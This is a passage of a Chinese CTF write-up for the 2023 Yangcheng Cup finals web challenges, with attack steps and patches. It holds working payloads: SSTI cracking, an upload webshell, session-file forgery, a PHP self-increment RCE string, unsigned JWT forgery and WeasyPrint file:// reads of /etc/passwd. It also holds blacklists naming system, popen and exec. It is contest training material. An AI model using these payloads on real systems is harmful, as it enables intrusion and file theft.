2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全

news2024/9/24 17:30:36

终于迎来了我的第一百篇文章。

这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。

image-20230912103455972

image-20230909091508969

总结一下:败北,还是太菜了得继续修炼一下。

一、Break

ezSSTI

看到是SSTI,焚靖直接一把梭了。

python -m fenjing crack --method GET --inputs name --url 'http://10.1.110.2:20000/'

瞎了,执行ls /时候flag文件在命令旁边没看见,find命令找了好久呜呜呜。

痛失一血,只有二血。。。。

image-20230909094111626

202309111635737

202309111635738

源码如下:

from flask import Flask,request
from jinja2 import Template
import re

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name','CTFer<!--?name=CTFer')
    if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):
        t = Template("hello "+name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=5000)

easyupload

题目描述:小明同学学会了用apache搭建网站,你能帮助他找到存在的安全问题么?

开题是一个非常猛男的网页,需要登录。

image-20230909124248353

本来想爆破的,看了一下源码,发现账号密码就在源码里面。

image-20230909124330158

登录后是一个文件上传的界面。

题目提到了Apache,那么我们首先想到的就是Apache解析漏洞啦。

image-20230912093659357

上传文件名为shell.php.txt,检查时候php拿到的是.txt后缀,解析时候Apache把文件当成是.php后缀。

image-20230909124739700

访问上传文件的链接在源码里面。

image-20230909124711705

payload:

1=system('tac /flag.txt');

image-20230909124622289

BabyMemo

这题的话知识点就是php的session。主要考察的是代码逻辑漏洞,题目源码中本来用于过滤非法字符串../的功能经过一系列操作之后可以用于伪造session文件。

注,自己部署的话记得在index.php中加一句session_start();

memo翻译过来是备忘录。

image-20230909121606062

源码见fix。

主要是memo.php中的这两段代码。

1、给我们定义任意后缀的权力,但是过滤了../

image-20230914132247862

然后把文件写入/tmp目录(也是存放session文件的目录),文件名是用户名_随机数.后缀。下图是比赛时的一张截图。

image-20230909132221775

这里先放一部分思路,就是我们自定义后缀名为./时候,文件名是用户名_随机数../,经过过滤替换后变成用户名_随机数

php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID。如果用户名是sess,PHPSESSID设置成随机数,那么文件名就是sess_PHPSESSID。我们写入的文件就代替了原先的session文件成为程序现在的session文件。

2、如果$_SESSION['admin'] === true,那就给我们flag。

image-20230914132217695


总结一下思路就是伪造session文件使$_SESSION['admin'] === true

当时题目用的session处理器就是默认的php处理器。session文件的内容和下图相似:

image-20230914133124180

我们伪造的文件内容应该是admin|b:1;username|s:4:"sess";memos|a:2:{i:0;s:3:"aaa";i:1;s:3:"aaa";}

因为自定义后缀的话,写入文件的内容是经过一次rot13编码的,所以我们写入的应该是rot13解码后的内容nqzva|o:1;hfreanzr|f:4:"frff";zrzbf|n:2:{v:0;f:3:"nnn";v:1;f:3:"nnn";}

image-20230914133701122

image-20230914135039197

点击下载,抓包。然后我们自定义后缀,写入、下载文件。

用户名:sess
POST:compression=./&backup=1

文件被写入到了/tmp/sess_41983787c3a288d9

image-20230914135304898

image-20230914135407768

此时随机数是41983787c3a288d9,如果我们把它设置成PHPSESSID,那就导致刚刚我们写入的文件变成了session文件了,文件内容admin|b:1导致我们可以满足$_SESSION['admin'] === true,直接获得了flag。

image-20230914135621192

fuzee_rce

爆破得出账号admin,密码admin123

image-20230909120204890

登录后自动跳转到/goods.php路由,看不见源码,啥都看不见。

扫了一下后台还存在一个check.php文件,应该是用来限制RCE过滤的。

image-20230909115538531

看不见源码的话,猜测这里是和[羊城杯 2020]easyser那题一样,需要自己找到传参名字然后题目才会返回更多的信息。Fix阶段看了一下源码,确实如此,需要GET传参对应参数后才会高亮源码。

一开始拿arjun工具扫了一下没有发现参数。其实应该直接拿burp爆破的。

arjun -u http://10.1.110.2:20003/goods.php

接下来是部署在本地的复现。

首先是在/goods.php路由暴力爆破参数。得到参数是w1key。(爆破量有点大,burp太慢的话可以拿python脚本爆)

题目中GET提交w1key参数得到源码。

image-20230912095505338

<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {
    highlight_file(__FILE__);
    $w1key = $_GET['w1key'];
    if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {
        echo "good";
    } 
    else {
        die("Please input a valid number!");
    }
}
if (isset($_POST['w1key'])) {
    $w1key = $_POST['w1key'];
    strCheck($w1key);
    eval($w1key);
}
?> 

首先是第一个if,GET提交的w1key要满足is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999

聚焦到最后两个条件,首先想到的就是科学计数法。payload:?w1key=1e9

但是奇怪的是,这个payload本地可以过,题目过不了,嘶。

image-20230912135031590

image-20230912135044007

修改一下vps上的源码看看是哪个条件没过。

发现是intval($w1key) == $w1key条件不满足。

image-20230912143238596

这个判断如果改成intval(1e9) == '1e9'就返回true

研究了一下,是php版本问题。把我部署题目的vps上的php版本改成7就可以了,当然,我本地就是php7。

image-20230912144218442

payload:

?w1key=1e9

原理:

is_numeric($w1key)         //is_numeric函数可识别科学计数法
intval($w1key) == $w1key   //intval('1e9') === 1,$w1key === '1e9' =='1'
strlen($w1key) <= 3        //1e9 长度是3
$w1key > 999999999         //1e9 值是1000000000,多1

然后是第二个if,burp跑一下单个字符的fuzz看看哪些能用。可以用的字符是: .;'/[]=$()+/_

image-20230912145131469

一看就是自增RCE,payload库里面挑一个合适的。

$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
//传参是  %ff=system&_=cat /f1agaaa

payload:

GET:?w1key=1e9

POST:w1key=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /flag

image-20230912153835053

waf源码如下。

image-20230912094655747

Oh! My PDF

python语言的,部署本地倒是废了一些功夫。记录一下。

首先把源码包cv到vps上面。

image-20230915165731964

然后把需要的库全安装好。

cd到源码放的目录下,运行nohup python3 -u app.py > out.log 2>&1 &

如果报错OSError: cannot load library 'pango-1.0-0': pango-1.0-0: cannot open shared object file: No such file or directory. Additionally, ctypes.util.find_library() did not manage to locate a library called 'pango-1.0-0'那就先运行命令apt-get install -y libpangocairo-1.0-0。其他的报错基本上是库没有。

成功运行nohup python3 -u app.py > out.log 2>&1 &后,同目录下会生成两个文件:
image-20230915170014474

检查out.log。发现题目源码是运行在了8080端口。

image-20230915170057248

访问vps-ip:8080,发现题目源码运行成功!

image-20230915170130418

坑点就是import jwt,但是安装的包是PyJWT

重启服务ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9

参考文章:

如何优雅的部署Python应用到Linux服务器?_python能否直接向linux储存文件_緈諨の約錠的博客-CSDN博客

Python代码部署到Linux(亲测成功)_python程序部署到linux_繁星、晚风的博客-CSDN博客

大码王的博客 (cnblogs.com)

手把手教你如何从零开始部署一个Python项目到服务器 - 知乎 (zhihu.com)


开始做题。源码如下:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import os

app = Flask(__name__)

# 设置应用的秘密密钥和数据库URI
app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

# 初始化数据库
db = SQLAlchemy(app)

# 正则表达式用于检查URL的有效性
URL_REGEX = re.compile(
    r'http(s)?://'  # http或https
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)

# 用户模型
class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    is_admin = db.Column(db.Boolean, nullable=False, default=False)

# 创建数据库
def create_database(app):
    with app.app_context():
        db.create_all()

# 检查URL的有效性
def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    return True

# 用户注册
@app.route('/register', methods=['POST','GET'])
def register():
    if request.method == 'POST':
        try:
            data = request.form
            hashed_password = generate_password_hash(data['password'])
            new_user = User(username=data['username'], password=hashed_password, is_admin=False)
            db.session.add(new_user)
            db.session.commit()
            return render_template('register.html', message='User registered successfully')
        except:
            return render_template('register.html', message='Register Error!'), 500
    else:
        return render_template('register.html', message='please register first!')

# 用户登录
@app.route('/login', methods=['POST', 'GET'])
def login():
    # 处理针对 '/login' 路径的 HTTP GET 和 POST 请求
    if request.method == 'POST':
        # 如果是 POST 请求,表示用户正在尝试登录
        data = request.form  # 获取从用户提交的表单中获取的数据

        # 通过用户名从数据库中查找用户记录
        user = User.query.filter_by(username=data['username']).first()

        # 检查用户是否存在且密码是否匹配
        if user and check_password_hash(user.password, data['password']):
            # 如果用户存在且密码匹配

            # 生成访问令牌(JWT),包括用户名和是否为管理员的信息
            access_token = jwt.encode(
                {'username': user.username, 'isadmin': False},
                app.config['SECRET_KEY'],  # 使用配置的密钥进行签名
                algorithm="HS256"  # 使用 HS256 算法进行签名
            )

            # 创建一个 Flask 响应对象,重定向到名为 'ohmypdf' 的路由
            res = make_response(redirect(url_for('ohmypdf')))

            # 在响应中设置 Cookie,将访问令牌存储在客户端
            res.set_cookie('access_token', access_token)

            # 返回响应和状态码 200(表示成功)
            return res, 200
        else:
            # 如果用户不存在或密码不匹配,返回带有错误消息的登录页面和状态码 500(服务器内部错误)
            return render_template('login.html', message='Invalid username or password'), 500
    else:
        # 如果是 HTTP GET 请求,返回登录页面
        return render_template('login.html'), 200




# 主页,关键看这里
@app.route('/', methods=['GET', 'POST'])
def ohmypdf():
    # 从请求中获取访问令牌(如果存在)
    access_token = request.cookies.get('access_token')
    if not access_token:
        # 如果没有访问令牌,将用户重定向到登录页面
        return redirect(url_for("login"))

    try:
        # 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法
        decoded_token = jwt.decode(
            access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})
        isadmin = decoded_token['isadmin']
    except:
        # 如果解码失败,返回登录页面并显示“Invalid access token”消息
        return render_template('login.html', message='Invalid access token')

    if not isadmin:
        # 如果用户不具有管理员权限,返回错误页面,HTTP状态码为403 Forbidden
        return render_template('index.html', message='You do not have permission to access this resource. Where is the admin?!'), 403

    if request.method == 'POST':
        # 如果收到【POST】请求的参数【url】
        url = request.form.get('url')
        if is_valid_url(url):
            try:
                # 创建HTML对象,从给定的URL获取内容
                html = HTML(url=url)
                # 生成PDF文件,名字是output.pdf
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'
                return response
            except Exception as e:
                # 如果生成PDF出错,返回错误消息,HTTP状态码为500 Internal Server Error
                return f'Error generating PDF', 500
        else:
            # 如果URL无效,返回错误消息
            return f'Invalid URL!'
    else:
        # 如果是GET请求,渲染名为“index.html”的模板并返回
        return render_template("index.html"), 200


if __name__ == '__main__':
    create_database(app)
    app.run(host='0.0.0.0', port=8080)

先简要说明一下全题思路。

注册登录用户后,伪造JWT使自己成为admin。然后利用Python中WeasyPrint库的漏洞读取任意文件。


首先伪造JWT,这里密钥由os.urandom(10)生成,无法预测。

但是看源码如何解密JWT的,没有验证密钥。所以这里的JWT可以用空密钥来伪造。

# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法                                                                         
decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})

isadmin = decoded_token['isadmin']      

先看看JWT构成。

image-20230915221536301

然后用脚本伪造空密钥,isadmin为true的JWT。

import base64

def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ": "JWT","alg": "HS256"}'
payload = '{"username": "admin","isadmin": true}'

print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

#eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsImlzYWRtaW4iOiB0cnVlfQ.

显然,现在我们已经是admin了。

image-20230915222128834


然后就是利用Python中WeasyPrint库的漏洞读取任意文件,这部分的原题是[FireshellCTF2020]URL TO PDF

先看看对输入URL的限制。is_valid_url(url),is_valid_url函数中又是用URL_REGEX.match(url)来判断的。归根结底,我们输入的url要满足以下正则表达式。

URL_REGEX = re.compile(
    r'http(s)?://'  # http或https
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)

这段正则表达式 函数URL_REGEX() 用于匹配 URL 地址。下面是它的具体含义:

  • http(s)?://: 匹配以 “http://” 或 “https://” 开头的部分。其中 (s)? 表示 “s” 字符可选,即匹配 “http://” 或 “https://”。
  • (?: ... )+: 这是一个非捕获分组,用于匹配一个或多个字符。它包含了以下内容:
    • [a-zA-Z]: 匹配大小写字母。
    • [0-9]: 匹配数字。
    • [$-_@.&+]: 匹配一些特殊字符,包括 “$”, “-”, “_”, “@”, “.”, “&”, “+”。
    • [!*\(\),]: 匹配一些其他特殊字符,包括 “!”, “*”, “(”, “)”, “,”。
    • (?:%[0-9a-fA-F][0-9a-fA-F]): 匹配以 “%” 开头的两位十六进制数,通常用于 URL 编码。

综合起来,这个正则表达式可以有效地匹配标准的 URL 地址,包括常见的字符和特殊字符。所以说我们只能输入http(s)://什么什么,不能直接使用伪协议file:///etc/passwd

然后就是利用WeasyPrint库的漏洞了。

做题时候如果看不见源码,怎么验证是WeasyPrint库?vps开个监听,然后PDF转换器访问对应端口即可。可以看见在U-A头里面能看见WeasyPrint,这也算是一种特征。

image-20230916103727334

WeasyPrint 是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印。

WeasyPrint使用了自己定义的一套HTML标签,使得无法在其上执行JS。但是WeasyPrint会把所有它支持的东西 都请求一遍然后放在 PDF 里。

这里出现了漏洞,WeasyPrint可以解析解析 <link>标签,当你使用<link>标签时,他会把标签指向的内容给下下来返回在PDF内。我们在 <link> 标签内 href 加载 file:// 就可以实现 SSRF + 任意文件读取。

开始实战:

vps上放一个link.html,内容如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///etc/passwd">
</body>
</html>

接下来用PDF生成器访问http://vps-ip/link.html

image-20230916104147215

下载下来的 PDF虽说没有显示,但是放到binwalk -e 文件名后打开解压的文件 中看确实能看到file://协议读取到的内容,提取出即可。

image-20230916104319873

同理,我们把<link rel="attachment" href="file:///etc/passwd">换成<link rel="attachment" href="file:///flag">就能读取flag文件。

参考文章:

挖洞经验 | 打车软件Lyft费用报告导出功能的SSRF漏洞 - FreeBuf网络安全行业门户

Hackerone 50m-ctf writeup(第二部分) - 先知社区 (aliyun.com)

HackerOne的ssrf漏洞报告 | CN-SEC 中文网

深入浅出SSRF(二):我的学习笔记 | 悠远乡 (1dayluo.github.io)

从PDF导出到SSRF | CTF导航 (ctfiot.com)

[FireshellCTF2020]web wp | Z3ratu1’s blog

[BUUCTF][FireshellCTF2020]URL TO PDF_Y4tacker的博客-CSDN博客

[FireshellCTF2020]URL_TO_PDF (proben1.github.io)


**做后补充:**做完想到当时决赛是断网的,不能使用vps。问了一下tel爷,我们可以在自己插网线的机器上开http,因为和服务器同属于一个内网,访问ip可以访问到。

二、Fix

web1

初始源码:

from flask import Flask,request
from jinja2 import Template
import re

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name','CTFer<!--?name=CTFer')
    if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):
        t = Template("hello "+name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=5000)

修后源码,正则过滤部分多加了。

但是没过,很奇怪为什么过滤了单个花括号{及其URL编码都不行,当时check后 也不回显是waf多了还是少了。迷。

from flask import Flask,request
from jinja2 import Template
import re

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name','CTFer<!--?name=CTFer')
    if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{|set|\[|\(|%7b|eval|1|2|3|4|5|6|7|8|9",name):
        t = Template("hello "+name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=5000)

贴一个Enterpr1se师傅的waf:

还需要过滤引号、斜杠等符号。

image-20230912133714384

web2

初始源码:(dadaadwdwfegrgewg.php

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);

define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php



$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>


<div id="upload_panel">
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
</div>

修后源码:(黑名单变成白名单+只允许出现一个点号)前者防止.htaccess配置文件,后者防Apache解析漏洞。

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);

define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php



$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".jpg",".png",".jpeg");         //【修改点一】
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (in_array($file_ext, $deny_ext)&&substr_count($_FILES['upload_file']['name'], '.')===1) {//【修改点二】
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>


<div id="upload_panel">
    <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
        <p>请选择要上传的图片:<p>
            <input class="input_file" type="file" name="upload_file"/>
            <input class="button" type="submit" name="submit" value="上传"/>
    </form>
    <div id="msg">
        <?php
        if($msg != null){
            echo "提示:".$msg;
        }
        ?>
    </div>
    <div id="img">
        <?php
        if($is_upload){
            echo '<img src="'.$img_path.'" width="250px" />';
        }
        ?>
    </div>
</div>

赛后和师傅们讨论了发现,除了我那种Apache解析漏洞的做法,还能通过.htaccess配置文件修改配置项解析png等格式的图片。属于是一题多解了,两个都不是非预期,都会check。

web3

初始源码:

(index.php)

<?php
ob_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['username']) && !empty($_POST['username'])) {
        $_SESSION['username'] = $_POST['username'];

        if (!isset($_SESSION['memos'])) {
            $_SESSION['memos'] = [];
        }

        echo '<script>window.location.href="memo.php";</script>';
        exit;
    } else {
        echo '<script>window.location.href="index.php?error=1";</script>';
        exit;
    }
}
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Memo Website</title>
    <style>
        body {
            background-color: beige;
            font-family: Arial, sans-serif;
        }

        h1 {
            color: darkslategray;
        }

        form {
            margin: 30px auto;
            width: 80%;
            padding: 20px;
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
        }

        label {
            display: block;
            margin-bottom: 10px;
        }

        input[type="text"] {
            width: 100%;
            padding: 10px;
            border-radius: 5px;
            border: none;
            margin-bottom: 20px;
        }

        button[type="submit"] {
            background-color: darkslategray;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }

        button[type="submit"]:hover {
            background-color: steelblue;
        }
    </style>
</head>

<body>
    <h1>Login</h1>
    <form action="index.php" method="post">
        <label for="username">Username:</label>
        <input type="text" name="username" id="username" required>
        <button type="submit">Login</button>
    </form>
</body>

</html>

memo.php

<?php
session_start();

if (!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

if (isset($_POST['memo']) && !empty($_POST['memo'])) {
    $_SESSION['memos'][] = $_POST['memo'];
}

if (isset($_POST['backup'])) {
    $backupMemos = implode(PHP_EOL, $_SESSION['memos']);

    $random = bin2hex(random_bytes(8));
    $filename = '/tmp/' . $_SESSION['username'] . '_' . $random;

    // Handle compression method and file extension
    $compressionMethod = $_POST['compression'] ?? 'none';
    switch ($compressionMethod) {
        case 'gzip':
            $compressedData = gzencode($backupMemos);
            $filename .= '.gz';
            $mimeType = 'application/gzip';
            break;
        case 'bzip2':
            $compressedData = bzcompress($backupMemos);
            $filename .= '.bz2';
            $mimeType = 'application/x-bzip2';
            break;
        case 'zip':
            $zip = new ZipArchive();
            $zipFilename = $filename . '.zip';
            if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {
                $zip->addFromString($filename, $backupMemos);
                $zip->close();
            }
            $filename = $zipFilename;
            $mimeType = 'application/zip';
            break;
        case 'none':
            $compressedData = $backupMemos;
            $filename .= '.txt';
            $mimeType = 'text/plain';
            break;
        default:
            // I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~
            $compressedData = str_rot13($backupMemos);
            $filename .= '.' . $compressionMethod;
            $mimeType = 'text/plain';
            while (strpos($filename, '../') !== false) {
                $filename = str_replace('../', '', $filename);
            }
            break;
    }

    file_put_contents($filename, $compressedData);
    // Send headers and output file content
    header('Content-Description: File Transfer');
    header('Content-Type: ' . $mimeType);
    header('Content-Disposition: attachment; filename="' . basename($filename) . '"');
    header('Content-Length: ' . filesize($filename));
    readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Memo</title>
    <style>
        body {
            background-color: beige;
            font-family: Arial, sans-serif;
        }

        h1,
        h2 {
            color: darkslategray;
            margin-top: 30px;
            margin-bottom: 10px;
        }

        form {
            margin: 30px auto;
            width: 80%;
            padding: 20px;
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
        }

        label {
            display: block;
            margin-bottom: 10px;
        }

        input[type="text"],
        select {
            width: 100%;
            padding: 10px;
            border-radius: 5px;
            border: none;
            margin-bottom: 20px;
        }

        button[type="submit"] {
            background-color: darkslategray;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>

<body>
    <h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1>
    <form action="memo.php" method="post">
        <label for="memo">New Memo:</label>
        <input type="text" name="memo" id="memo" required>
        <button type="submit">Add Memo</button>
    </form>
    <h2>Here 1s Your Memos:</h2>
    <ul>
        <?php foreach ($_SESSION['memos'] as $memo) : ?>
            <li><?php echo htmlspecialchars($memo); ?></li>
        <?php endforeach; ?>
        <?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?>
            <li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag -->
        <?php endif ?>
    </ul>
    <form action="memo.php" method="post">
        <label for="compression">Compression method:</label>
        <select name="compression" id="compression">
            <option value="none">None</option>
            <option value="gzip">GZIP</option>
            <option value="bzip2">BZIP2</option>
            <option value="zip">ZIP</option>
        </select>
        <button type="submit" name="backup" value="1">Export Backup</button>
    </form>
</body>

</html>

未知攻焉知防。会打的话其实过滤很简单,对用户名加一个限制使其不等于sess就行了。

index.php加个waf就行了。

<?php
ob_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['username']) && !empty($_POST['username'])) {
        
        
        
        
        
        
        
        if($_POST['username']!="sess"){
            $_SESSION['username'] = $_POST['username'];
        }
        
        
        
        
        
        
        
        if (!isset($_SESSION['memos'])) {
            $_SESSION['memos'] = [];
        }

        echo '<script>window.location.href="memo.php";</script>';
        exit;
    } else {
        echo '<script>window.location.href="index.php?error=1";</script>';
        exit;
    }
}
ob_end_flush();
?>

web4

初始源码:

goods.php文件

<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {
    highlight_file(__FILE__);
    $w1key = $_GET['w1key'];
    if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {
        echo "good";
    } 
    else {
        die("Please input a valid number!");
    }
}
if (isset($_POST['w1key'])) {
    $w1key = $_POST['w1key'];
    strCheck($w1key);
    eval($w1key);
}
?>

check.php文件

<?php
function strCheck($w1key)
{
    
    if (is_string($w1key) && strlen($w1key) <= 83) {
        if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\]/",$w1key)){
            return $w1key;
        }else{
            die("黑客是吧,我看你怎么黑!");  
        }
    }
    else{
        die("太长了");      
      }
    }   

check.php文件多加点过滤就能fix。(百分号%(%)一定要加)

<?php
function strCheck($w1key)
{

    if (is_string($w1key) && strlen($w1key) <= 83) {
        if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\_$()+=;\%]/",$w1key)){
            return $w1key;
        }else{
            die("黑客是吧,我看你怎么黑!");
        }
    }
    else{
        die("太长了");
    }
}

web5

初始源码:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import os

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

db = SQLAlchemy(app)

URL_REGEX = re.compile(
    r'http(s)?://'  # http or https
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    is_admin = db.Column(db.Boolean, nullable=False, default=False)

def create_database(app):
    with app.app_context():
        db.create_all()

def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    return True

@app.route('/register', methods=['POST','GET'])
def register():
    if request.method == 'POST':
        try:
            data = request.form
            hashed_password = generate_password_hash(data['password'])
            new_user = User(username=data['username'], password=hashed_password, is_admin=False)
            db.session.add(new_user)
            db.session.commit()

            return render_template('register.html',message='User registered successfully')
        except:
            return render_template('register.html',message='Register Error!'),500
    else:
        return render_template('register.html',message='please register first!')


@app.route('/login', methods=['POST','GET'])
def login():
    if request.method == 'POST':
        data = request.form
        user = User.query.filter_by(username=data['username']).first()
        if user and check_password_hash(user.password, data['password']):
            access_token = jwt.encode(
                {'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")
            res = make_response(redirect(url_for('ohmypdf')))
            res.set_cookie('access_token',access_token)
            return res, 200
        else:
            return render_template('login.html',message='Invalid username or password'), 500
    else:
